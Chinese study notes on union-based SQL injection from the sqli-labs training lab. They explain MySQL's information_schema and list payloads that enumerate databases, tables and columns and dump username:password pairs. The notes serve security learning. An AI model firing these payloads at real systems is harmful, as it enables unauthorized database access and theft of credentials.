lesson 1 整型注入
熟悉mysql 中的默认数据库information_schema
- shecmata 表 :所有数据库
- tables 表 :所有表
- columns表:所有的字段
语句解释(sqli-labs less-2)
?id=1union select 1,2,3,...n #
不报错,确定union 查询前后列数一致(1,2,3只是占位)与?id=1 order by 4 #
效果相同?id=9999 union select 1, group_concat(schema_name) ,3 from information_schema.schemata #
查询所有库,group_concat() 将查询内容拼接
?id=9999 union select 1, group_concat(table_name) ,3 from information_schema.tables where table_schema = database()#
查询当前数据库下的表的名字
?id=9999 union select 1, group_concat(column_name) ,3 from information_schema.columns where table_schema = database() and table_name = "user"#
查询当前数据库中users表的column字段
?id=9999 union select 1, group_concat(concat_ws(":",username,password) ),3 from users #
查询user表中的username,password ,concat_ws(":",username,password)表示以:拼接username和password